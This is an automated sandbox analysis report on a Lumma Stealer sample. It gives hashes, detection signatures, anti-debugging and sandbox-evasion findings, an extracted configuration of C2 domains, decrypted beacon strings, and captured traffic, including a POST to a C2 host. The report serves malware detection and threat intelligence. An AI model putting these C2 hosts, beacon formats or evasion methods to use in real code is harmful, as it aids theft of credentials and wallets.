Edit tour

Windows Analysis Report
uZO96rXyWt.exe

Overview

General Information

Sample name:	uZO96rXyWt.exe renamed because original name is a hash value
Original sample name:	61e51e787b161b21769aab5c29fc8003.exe
Analysis ID:	1579628
MD5:	61e51e787b161b21769aab5c29fc8003
SHA1:	8223428075907ebcc833046b7c7606f176c11cf5
SHA256:	c45ebba7c2d577cc6b1d138b902a92d9c243c2f7a9d593bf3a0b97dabcb72a96
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

uZO96rXyWt.exe (PID: 7688 cmdline: "C:\Users\user\Desktop\uZO96rXyWt.exe" MD5: 61E51E787B161B21769AAB5C29FC8003)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["crosshuaht.lat", "sweepyribs.lat", "grannyejh.lat", "discokeyus.lat", "aspecteirs.lat", "necklacebudi.lat", "energyaffai.lat", "rapeflowwj.lat", "sustainskelet.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:11.980565+0100	2028371	3	Unknown Traffic	192.168.2.9	49712	23.55.153.106	443	TCP
2024-12-23T06:44:14.592707+0100	2028371	3	Unknown Traffic	192.168.2.9	49723	104.21.66.86	443	TCP
2024-12-23T06:44:15.682604+0100	2028371	3	Unknown Traffic	192.168.2.9	49729	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:15.331506+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49723	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:15.331506+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49723	104.21.66.86	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:09.415383+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.9	60246	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:09.866665+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.9	53151	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:08.255137+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.9	56180	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:09.028142+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.9	52834	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:08.026771+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.9	62971	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:08.636089+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.9	50480	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:10.181935+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.9	51709	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:09.642103+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.9	56030	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:07.770526+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.9	65297	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:44:12.764805+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.9	49712	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: uZO96rXyWt.exe

Avira: detected

Found malware configuration

Source: uZO96rXyWt.exe.7688.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["crosshuaht.lat", "sweepyribs.lat", "grannyejh.lat", "discokeyus.lat", "aspecteirs.lat", "necklacebudi.lat", "energyaffai.lat", "rapeflowwj.lat", "sustainskelet.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: uZO96rXyWt.exe	Virustotal: Detection: 52%			Perma Link
Source: uZO96rXyWt.exe	ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: uZO96rXyWt.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1337128883.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: uZO96rXyWt.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.9:49723 version: TLS 1.2

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+ebx-10h]	0_2_00C8C767
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	0_2_00C5B70C
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov edx, ecx	0_2_00C59C4A
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ebx, esi	0_2_00C72190
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [ebx], cx	0_2_00C72190
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_00C72190
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-7D4F867Fh]	0_2_00C66263
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 9C259492h	0_2_00C885E0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then jmp eax	0_2_00C885E0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then jmp dword ptr [00C9450Ch]	0_2_00C68591
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov eax, dword ptr [00C9473Ch]	0_2_00C6C653
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+423C9D38h]	0_2_00C6E7C0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00C7A700
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ebx, edx	0_2_00C5C8B6
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+4B6A4A26h]	0_2_00C5C8B6
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov edx, ecx	0_2_00C88810
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 5E874B5Fh	0_2_00C88810
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then cmp dword ptr [edx+edi*8], BC9C9AFCh	0_2_00C88810
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then test eax, eax	0_2_00C88810
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00C6682D
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+18h]	0_2_00C6682D
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-75h]	0_2_00C6682D
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_00C7CAD0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then push ebx	0_2_00C8CA93
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_00C7CA49
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then cmp al, 2Eh	0_2_00C76B95
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00C6CB40
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [esi], cx	0_2_00C6CB40
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00C78B61
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_00C7CB11
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_00C7CB22
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	0_2_00C8ECA0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov eax, dword ptr [ebp-68h]	0_2_00C78D93
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ecx, eax	0_2_00C8AEC0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	0_2_00C8EFB0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then xor byte ptr [esp+eax+17h], al	0_2_00C58F50
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov byte ptr [edi], bl	0_2_00C58F50
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then push C0BFD6CCh	0_2_00C73086
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then push C0BFD6CCh	0_2_00C73086
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	0_2_00C8B1D0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ebx, eax	0_2_00C8B1D0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_00C791DD
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	0_2_00C791DD
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_00C7B170
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_00C6B2E0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+61D008CBh]	0_2_00C65220
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	0_2_00C67380
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then cmp word ptr [ebx+edi+02h], 0000h	0_2_00C6D380
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	0_2_00C8F330
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_00C791DD
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	0_2_00C791DD
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_00C574F0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_00C574F0
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	0_2_00C67380
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00C85450
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ecx, eax	0_2_00C59580
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	0_2_00C59580
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then xor edi, edi	0_2_00C6759F
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx eax, word ptr [edx]	0_2_00C697C2
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [edi], dx	0_2_00C697C2
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [esi], cx	0_2_00C697C2
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov esi, eax	0_2_00C65799
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ecx, eax	0_2_00C65799
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then jmp eax	0_2_00C7984F
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0Dh]	0_2_00C73860
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov word ptr [ecx], bp	0_2_00C6D83A
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	0_2_00C679C1
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ebx, eax	0_2_00C55990
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ebp, eax	0_2_00C55990
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then push esi	0_2_00C77AD3
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_00C7DA53
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ebx, eax	0_2_00C5DBD9
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ebx, eax	0_2_00C5DBD9
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then push 00000000h	0_2_00C79C2B
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-7D4F88C7h]	0_2_00C67DEE
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov edx, ebp	0_2_00C75E70
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then jmp dword ptr [00C955F4h]	0_2_00C75E30
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov ecx, ebx	0_2_00C7DFE9
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then jmp ecx	0_2_00C5BFFD
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_00C6BF14
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Code function: 4x nop then mov eax, dword ptr [ebx+edi+44h]	0_2_00C69F30

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.9:65297 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.9:56180 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.9:62971 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.9:51709 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.9:52834 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.9:56030 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.9:60246 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.9:50480 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.9:53151 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49723 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49723 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.9:49712 -> 23.55.153.106:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49712 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49723 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49729 -> 104.21.66.86:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=f630a9a3cef9c88359b0f4c0; Path=/; Secure; 